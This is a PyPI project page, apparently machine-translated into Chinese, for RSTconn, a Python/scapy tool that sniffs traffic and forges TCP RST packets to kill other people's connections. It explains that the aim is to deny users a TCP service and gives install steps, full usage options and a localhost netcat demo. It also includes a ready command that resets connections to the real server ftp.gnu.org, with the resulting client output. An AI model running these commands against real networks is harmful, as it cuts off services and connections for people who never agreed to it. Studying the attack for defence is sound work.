跳转到主要内容

用python和scapy编写的TCPKill工具

项目描述

RSTconn

RSTconn是一个实现TCP重置攻击的实用程序。RSTconn适用于IPv4和IPv6,是用python和scapy编写的。

RSTconn是如何工作的

RESET是TCP数据包中的一个标志,用于指示连接不再有效。如果在TCP连接的两个参与者中任何一个发送包含此类RESET标志的数据包,连接将立即关闭。

因此,如果攻击者可以从任意一方伪造TCP数据包(如果他或她知道他们的IP、端口和当前TCP连接的序列号),就可以用它来攻击TCP连接。

如果我们知道上述信息,可以使用该攻击使某些用户无法使用基于TCP的特定网络服务。

实际上,我们应该监听受害者的通信以获取他们的IP、端口和序列号。

我们通过过滤TCP数据包并找到我们想要攻击的最新数据包来实现这一点。

设置

pip install rstconn

用法

rstconn kills network connections.

optional arguments:
  -h, --help            show this help message and exit
  --iface {lo,enp0s25,lxcbr0,docker0,br-d316e57def52,vethd4f41f0,veth6fa5336, ...}, -i {...}
                        Interface where to listen to
  --server-ip SERVER_IP, -sip SERVER_IP
                        IPv4 or hostname
  --client-ip CLIENT_IP, -cip CLIENT_IP
                        IPv4 or hostname
  --server-port SERVER_PORT, -p SERVER_PORT
                        Server port
  --packet-count PACKET_COUNT, -pc PACKET_COUNT
                        sends N RST packets
  --seq-jitter SEQ_JITTER, -sj SEQ_JITTER
                        Set seq_jitter to be non-zero in order to prove to yourself that the
                        sequence number of a RST segment does indeed need to be exactly equal
                        to the last sequence number ACK-ed by the receiver
  --ignore-syn, -is     if a Packet has SYN flag, not sending RST
  --window-size WINDOW_SIZE, -ws WINDOW_SIZE
                        Window size
  -d {CRITICAL,ERROR,WARNING,INFO,DEBUG}, --debug {CRITICAL,ERROR,WARNING,INFO,DEBUG}
                        Debug level, see python logging; defaults to INFO if omitted
  -m, --monitor         Just sniff traffic without sendin RST
  -v, --version         Print version and exit

RSTconn监听匹配的连接,然后向客户端发送一系列SYN/ACK和RST数据包以终止连接。

数据包的数量可以通过--packet-count配置,--iface--server-ip以及--server-port与要监听的本地服务器端口相关。

rstconn -i lo --server-ip 127.0.0.1 --server-port 8000 --packet-count 50

演示

apt install netcat
  • 设置TCP连接。在一个终端窗口中运行nc -nvl 8000以设置服务器
  • 在另一个终端窗口中运行nc 127.0.0.1 8000以连接到服务器
  • 在第三个窗口中运行rstconn以运行我们的嗅探程序

你应该会看到嗅探程序日志输出一些内容,发送一个RST数据包,nc连接应该会断开。

如果你想在IPv6上测试rstconn,可以使用以下命令

  • nc ::1 8000
  • nc -nvl ::1 8000
  • rstconn -i lo --server-ip "::1" --server-port 8000 -pc 33

用法示例

重置到ftp.gnu.org的连接

rstconn -i enp0s25 --server-ip ftp.gnu.org

在客户端我们会看到

ftp> ls
421 Service not available, remote server has closed connection

没有服务器/客户端IP,只使用端口

rstconn -i lo --server-port 8000

致谢

参考资料

  • Watson, P.: Slipping in the Window: TCP Reset attacks. (2004)

项目详情


下载文件

下载适合您平台的文件。如果您不确定选择哪个,请了解更多关于安装包的信息。

源代码分发

rstconn-0.5.1.tar.gz (17.6 kB 查看散列值)

上传时间 源代码

由以下支持